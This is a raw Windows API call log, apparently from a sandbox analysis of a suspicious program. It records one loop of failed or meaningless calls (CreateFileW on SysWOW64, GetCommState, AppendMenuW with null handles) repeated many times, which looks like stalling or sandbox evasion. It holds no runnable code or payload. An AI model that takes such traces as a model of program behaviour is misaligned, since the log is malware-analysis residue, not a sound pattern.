	[0050.491] AppendMenuW (hMenu=0x0, uFlags=0x809c57e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.491] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.491] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.491] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.491] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.491] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.491] SetErrorMode (uMode=0x1) returned 0x1
	[0050.492] GetLogicalDrives () returned 0x4
	[0050.492] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.492] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.492] AppendMenuW (hMenu=0x0, uFlags=0x809d599c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.492] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.492] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.492] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.492] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.492] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.492] SetErrorMode (uMode=0x1) returned 0x1
	[0050.492] GetLogicalDrives () returned 0x4
	[0050.492] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.492] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.492] AppendMenuW (hMenu=0x0, uFlags=0x809e3428, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.492] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.492] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.492] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.492] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.492] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.493] SetErrorMode (uMode=0x1) returned 0x1
	[0050.493] GetLogicalDrives () returned 0x4
	[0050.493] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.493] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.493] AppendMenuW (hMenu=0x0, uFlags=0x809f35dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.493] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.493] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.493] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.493] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.493] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.493] SetErrorMode (uMode=0x1) returned 0x1
	[0050.493] GetLogicalDrives () returned 0x4
	[0050.493] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.493] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.494] AppendMenuW (hMenu=0x0, uFlags=0x80a01068, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.494] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.494] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.494] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.494] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.494] SetErrorMode (uMode=0x1) returned 0x1
	[0050.494] GetLogicalDrives () returned 0x4
	[0050.494] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.495] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.495] AppendMenuW (hMenu=0x0, uFlags=0x80a1121c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.495] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.495] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.495] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.495] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.495] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.495] SetErrorMode (uMode=0x1) returned 0x1
	[0050.495] GetLogicalDrives () returned 0x4
	[0050.495] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.495] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.496] AppendMenuW (hMenu=0x0, uFlags=0x80a1eca8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.496] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.496] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.496] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.496] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.496] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.496] SetErrorMode (uMode=0x1) returned 0x1
	[0050.496] GetLogicalDrives () returned 0x4
	[0050.496] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.496] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.496] AppendMenuW (hMenu=0x0, uFlags=0x80a2ee5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.496] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.496] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.496] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.496] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.496] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.496] SetErrorMode (uMode=0x1) returned 0x1
	[0050.496] GetLogicalDrives () returned 0x4
	[0050.496] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.497] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.497] AppendMenuW (hMenu=0x0, uFlags=0x80a3c8e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.497] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.497] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.497] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.497] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.497] SetErrorMode (uMode=0x1) returned 0x1
	[0050.497] GetLogicalDrives () returned 0x4
	[0050.497] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.497] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.497] AppendMenuW (hMenu=0x0, uFlags=0x80a3ca9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.497] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.497] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.497] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.497] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.497] SetErrorMode (uMode=0x1) returned 0x1
	[0050.498] GetLogicalDrives () returned 0x4
	[0050.498] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.498] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.498] AppendMenuW (hMenu=0x0, uFlags=0x80a4a528, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.498] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.498] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.498] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.498] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.498] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.498] SetErrorMode (uMode=0x1) returned 0x1
	[0050.498] GetLogicalDrives () returned 0x4
	[0050.498] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.498] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.498] AppendMenuW (hMenu=0x0, uFlags=0x80a5a6dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.498] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.498] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.498] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.498] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.498] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.499] SetErrorMode (uMode=0x1) returned 0x1
	[0050.499] GetLogicalDrives () returned 0x4
	[0050.499] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.499] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.499] AppendMenuW (hMenu=0x0, uFlags=0x80a68168, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.499] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.499] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.499] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.499] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.499] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.499] SetErrorMode (uMode=0x1) returned 0x1
	[0050.499] GetLogicalDrives () returned 0x4
	[0050.499] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.499] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.499] AppendMenuW (hMenu=0x0, uFlags=0x80a7831c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.499] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.499] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.499] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.499] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.500] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.500] SetErrorMode (uMode=0x1) returned 0x1
	[0050.500] GetLogicalDrives () returned 0x4
	[0050.500] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.500] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.500] AppendMenuW (hMenu=0x0, uFlags=0x80a85da8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.500] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.500] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.500] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.500] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.500] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.500] SetErrorMode (uMode=0x1) returned 0x1
	[0050.500] GetLogicalDrives () returned 0x4
	[0050.500] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.500] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.500] AppendMenuW (hMenu=0x0, uFlags=0x80a95f5c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.500] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.500] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.500] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.500] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.501] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.501] SetErrorMode (uMode=0x1) returned 0x1
	[0050.501] GetLogicalDrives () returned 0x4
	[0050.501] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.501] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.501] AppendMenuW (hMenu=0x0, uFlags=0x80aa39e8, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.501] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.501] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.501] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.501] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.501] SetErrorMode (uMode=0x1) returned 0x1
	[0050.501] GetLogicalDrives () returned 0x4
	[0050.501] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.501] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.501] AppendMenuW (hMenu=0x0, uFlags=0x80ab3b9c, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.501] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.501] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.501] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.502] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.502] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.502] SetErrorMode (uMode=0x1) returned 0x1
	[0050.502] GetLogicalDrives () returned 0x4
	[0050.502] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.502] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.502] AppendMenuW (hMenu=0x0, uFlags=0x80ac1628, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.502] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.502] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.502] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.502] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.502] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.502] SetErrorMode (uMode=0x1) returned 0x1
	[0050.502] GetLogicalDrives () returned 0x4
	[0050.502] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.502] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.502] AppendMenuW (hMenu=0x0, uFlags=0x80ad17dc, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.503] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
	[0050.503] FileTimeToSystemTime (in: lpFileTime=0xf3d7f0, lpSystemTime=0xf3d7c8 | out: lpSystemTime=0xf3d7c8) returned 1
	[0050.503] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0xf3d7c8, lpLocalTime=0xf3d7e0 | out: lpLocalTime=0xf3d7e0) returned 1
	[0050.503] CreateFileW (lpFileName="C:\\WINDOWS\\SysWOW64" (normalized: "c:\\windows\\syswow64"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x60000000, hTemplateFile=0x0) returned 0xffffffff
	[0050.503] GetCommState (in: hFile=0xffffffff, lpDCB=0xf3d7a0 | out: lpDCB=0xf3d7a0) returned 0
	[0050.503] SetErrorMode (uMode=0x1) returned 0x1
	[0050.503] GetLogicalDrives () returned 0x4
	[0050.503] GetWindowRect (in: hWnd=0x0, lpRect=0xf3d98c | out: lpRect=0xf3d98c) returned 0
	[0050.503] GetConsoleMode (in: hConsoleHandle=0x772, lpMode=0xf3d4b4 | out: lpMode=0xf3d4b4) returned 0
	[0050.503] AppendMenuW (hMenu=0x0, uFlags=0x80adf268, uIDNewItem=0x80000000, lpNewItem="C:\\WINDOWS\\SysWOW64") returned 0
	[0050.503] SystemTimeToFileTime (in: lpSystemTime=0xf3d800, lpFileTime=0xf3d92c | out: lpFileTime=0xf3d92c) returned 1
